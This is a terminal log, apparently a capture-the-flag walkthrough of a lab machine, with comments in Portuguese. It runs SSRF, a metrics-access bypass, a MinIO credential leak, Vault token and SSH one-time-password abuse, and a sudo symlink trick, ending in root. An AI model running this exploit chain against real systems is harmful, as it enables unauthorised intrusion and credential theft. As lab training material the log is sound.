ares@kali:~/box/skyfall$ nmap -sV -sC -p- -T4 -oN skyfall.nmap 10.129.230.158

PORT   STATE SERVICE  VERSION
22/tcp open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Skyfall - Secure File Storage

ares@kali:~/box/skyfall$ ffuf -u http://10.129.230.158/ -H "Host: FUZZ.skyfall.htb" \
                -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
                -fs $(curl -s http://10.129.230.158/ | wc -c)

demo                    [Status: 200, Size: 4248]

ares@kali:~/box/skyfall$ echo "10.129.230.158 skyfall.htb demo.skyfall.htb" | sudo tee -a /etc/hosts
ares@kali:~/box/skyfall$ curl -s -c jar.txt -b jar.txt -X POST http://demo.skyfall.htb/login \
                -d "username=guest&password=guest" -L -o /dev/null -w "%{http_code}\n"
200

ares@kali:~/box/skyfall$ curl -s -b jar.txt http://demo.skyfall.htb/dashboard | grep -E 'form|action|input|fetch' | head -5
<form action="/fetch" method="POST">
<input name="url" placeholder="http://...">

ares@kali:~/box/skyfall$ curl -s -b jar.txt -X POST http://demo.skyfall.htb/fetch \
                -d 'url=http://127.0.0.1:9000/minio/health/live' | grep -E 'error|refused|host'

HTTPConnectionPool(host='127.0.0.1', port=9000): Max retries exceeded
Failed to establish a new connection: [Errno 111] Connection refused

ares@kali:~/box/skyfall$ # porta 80 do localhost — provavelmente o próprio nginx
ares@kali:~/box/skyfall$ curl -s -b jar.txt -X POST http://demo.skyfall.htb/fetch \
                -d 'url=http://127.0.0.1:80/' | head -20

<!DOCTYPE html><html><title>Skyfall</title>
# <-- nginx servindo a homepage por trás. SSRF confirmada.

ares@kali:~/box/skyfall$ # probe de portas internas comuns:
ares@kali:~/box/skyfall$ for p in 9000 9001 8200 5432 6379 9200; do
>   ERR=$(curl -s -b jar.txt -X POST .../fetch -d "url=http://127.0.0.1:$p/" | grep -oE '(refused|timeout|reset|connected)' | head -1)
>   echo "$p: $ERR"
> done
9000: refused      # MinIO API typical
9001: refused      # MinIO console typical
8200: refused      # Vault typical
5432: refused
6379: refused
9200: refused
# todos refused — significa que os serviços não estão em localhost, mas em outros vhosts

ares@kali:~/box/skyfall$ curl -s -o /dev/null -w "%{http_code}\n" http://demo.skyfall.htb/metrics
403

ares@kali:~/box/skyfall$ curl -s -o /dev/null -w "%{http_code}\n" "http://demo.skyfall.htb/metrics%0a"
200

ares@kali:~/box/skyfall$ curl -s "http://demo.skyfall.htb/metrics%0a" | head -30
# HELP flask_http_request_total Total HTTP requests
# TYPE flask_http_request_total counter
flask_http_request_total{method="POST",path="/fetch",status="200"} 47.0
flask_http_request_total{method="GET",path="/metrics",status="403"} 8.0

# HELP minio_pool_health pool health
# target_url="http://prd23-s3-backend.skyfall.htb/minio/health/cluster"
minio_pool_health 1

# HELP vault_health vault sealed status
# target_url="http://prd23-vault-internal.skyfall.htb/v1/sys/health"
vault_health 1

ares@kali:~/box/skyfall$ echo "10.129.230.158 prd23-s3-backend.skyfall.htb" | sudo tee -a /etc/hosts

ares@kali:~/box/skyfall$ curl -s -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify \
                -H "Content-Length: 0" | jq

{
  "MinioEndpoints": [
    {
      "Endpoints": [
        {"Host":"minio-node1:9000","Path":"/data1"},
        {"Host":"minio-node2:9000","Path":"/data1"},
        ...
      ]
    }
  ],
  "MinioEnv": {
    "MINIO_ROOT_USER":     "5GrE1B2YGGyZzNHZaIww",
    "MINIO_ROOT_PASSWORD": "GkpjkmiVmpFuL2d3oRx0",
    "MINIO_PROMETHEUS_AUTH_TYPE": "public"
  }
}

ares@kali:~/box/skyfall$ mc alias set sky http://prd23-s3-backend.skyfall.htb \
                5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0

Added `sky` successfully.

ares@kali:~/box/skyfall$ mc ls sky/
[2024-04-12 10:00:00 UTC]      0B askyy/
[2024-04-12 10:00:00 UTC]      0B mfortunato/
[2024-04-12 10:00:00 UTC]      0B prdadmin/
[2024-04-12 10:00:00 UTC]      0B public/

ares@kali:~/box/skyfall$ mc ls --versions sky/askyy/
[2024-05-01 18:43:00 UTC]  v2  ENABLED  home_backup.tar.gz
[2024-04-12 10:00:00 UTC]  v1  ENABLED  home_backup.tar.gz

ares@kali:~/box/skyfall$ aws --endpoint-url http://prd23-s3-backend.skyfall.htb s3api list-object-versions \
                --bucket askyy --prefix home_backup.tar.gz \
                --profile sky-admin

ares@kali:~/box/skyfall$ aws --endpoint-url ... s3api get-object \
                --bucket askyy --key home_backup.tar.gz \
                --version-id <v2_id> ./home_backup_v2.tar.gz --profile sky-admin

ares@kali:~/box/skyfall$ tar -xzf home_backup_v2.tar.gz -C ./loot/
ares@kali:~/box/skyfall$ grep -E '(VAULT|TOKEN|SECRET|KEY)' ./loot/askyy/.bashrc

export VAULT_ADDR='http://prd23-vault-internal.skyfall.htb'
export VAULT_TOKEN='hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE'

ares@kali:~/box/skyfall$ echo "10.129.230.158 prd23-vault-internal.skyfall.htb" | sudo tee -a /etc/hosts
ares@kali:~/box/skyfall$ export VAULT_ADDR=http://prd23-vault-internal.skyfall.htb
ares@kali:~/box/skyfall$ export VAULT_TOKEN=hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE

ares@kali:~/box/skyfall$ vault token lookup
Key                  Value
---                  -----
policies             [default ssh-otp-dev]
ttl                  720h
type                 service

ares@kali:~/box/skyfall$ vault list sys/policies/acl
ssh-otp-dev
ssh-otp-admin     # <-- existe mas o token atual não tem acesso

ares@kali:~/box/skyfall$ vault read sys/policies/acl/ssh-otp-dev
policy = "path \"ssh/creds/dev_otp_key_role\" { capabilities = [\"create\", \"update\"] }"

ares@kali:~/box/skyfall$ vault write ssh/creds/dev_otp_key_role \
                ip=10.129.230.158 username=askyy

Key                Value
---                -----
ip                 10.129.230.158
key                31c35241-b1b6-512c-e39a-8468a9912912
key_type           otp
port               22
username           askyy

ares@kali:~/box/skyfall$ sshpass -p '31c35241-b1b6-512c-e39a-8468a9912912' \
                ssh -o StrictHostKeyChecking=no askyy@10.129.230.158

askyy@skyfall:~$ id
uid=1000(askyy) gid=1000(askyy) groups=1000(askyy)

askyy@skyfall:~$ cat user.txt
0b6ea4956885165c8973ed13ce3e5389

askyy@skyfall:~$ sudo -l
User askyy may run the following commands on skyfall:
    (root) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml *

askyy@skyfall:~$ # asterisco no final aceita argumentos extras — testa -h:
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -h
vault-unseal — unseals a Vault instance on startup
Flags:
  -c FILE   config file
  -d        enable debug output (writes to ./debug.log)

askyy@skyfall:~$ # -d aceito. debug.log relativo ao CWD. testa de /tmp:
askyy@skyfall:~$ cd /tmp; sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d
[ALREADY UNSEALED — exit early]

askyy@skyfall:~$ ls /tmp/debug.log
-rw-r--r-- 1 root root 1.2K Aug 30 14:40 /tmp/debug.log

askyy@skyfall:~$ cat /tmp/debug.log | head -10
[DEBUG] Loading config from /etc/vault-unseal.yaml
[DEBUG] Connecting to http://prd23-vault-internal.skyfall.htb
[DEBUG] Vault health: { sealed: false, version: "1.15" }
[DEBUG] Master token: hvs.I0ewVsmaKU1SwVZAKR3T0mmG     # <-- ALI
[DEBUG] Already unsealed — exiting

askyy@skyfall:~$ mkdir /tmp/race; cd /tmp/race
askyy@skyfall:/tmp/race$ # cria symlink antes da execução:
askyy@skyfall:/tmp/race$ ln -sf /etc/update-motd.d/00-header ./debug.log

askyy@skyfall:/tmp/race$ # dispara vault-unseal — vai escrever no symlink, que aponta pro MOTD
askyy@skyfall:/tmp/race$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d
[ALREADY UNSEALED — exit early]

askyy@skyfall:/tmp/race$ cat /etc/update-motd.d/00-header
[DEBUG] Loading config from /etc/vault-unseal.yaml
[DEBUG] Connecting to http://prd23-vault-internal.skyfall.htb
[DEBUG] Vault health: { sealed: false, version: "1.15" }
[DEBUG] Master token: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
[DEBUG] Already unsealed — exiting

askyy@skyfall:/tmp/race$ # em ambiente real onde debug.log fica em path protegido (raiz vault, /etc/etc),
# o MOTD seria a única forma de exfil — root abre seu próximo SSH e o conteúdo aparece.

ares@kali:~/box/skyfall$ export VAULT_TOKEN=hvs.I0ewVsmaKU1SwVZAKR3T0mmG
ares@kali:~/box/skyfall$ vault write -field=key ssh/creds/admin_otp_key_role \
                ip=10.129.230.158 username=root
13df82b9-5ade-297c-b639-a43a24e2972e

ares@kali:~/box/skyfall$ sshpass -p '13df82b9-5ade-297c-b639-a43a24e2972e' \
                ssh -o StrictHostKeyChecking=no root@10.129.230.158

root@skyfall:~# id
uid=0(root) gid=0(root) groups=0(root)

root@skyfall:~# cat /root/root.txt
540b567974a57441bb90eb6810584ca4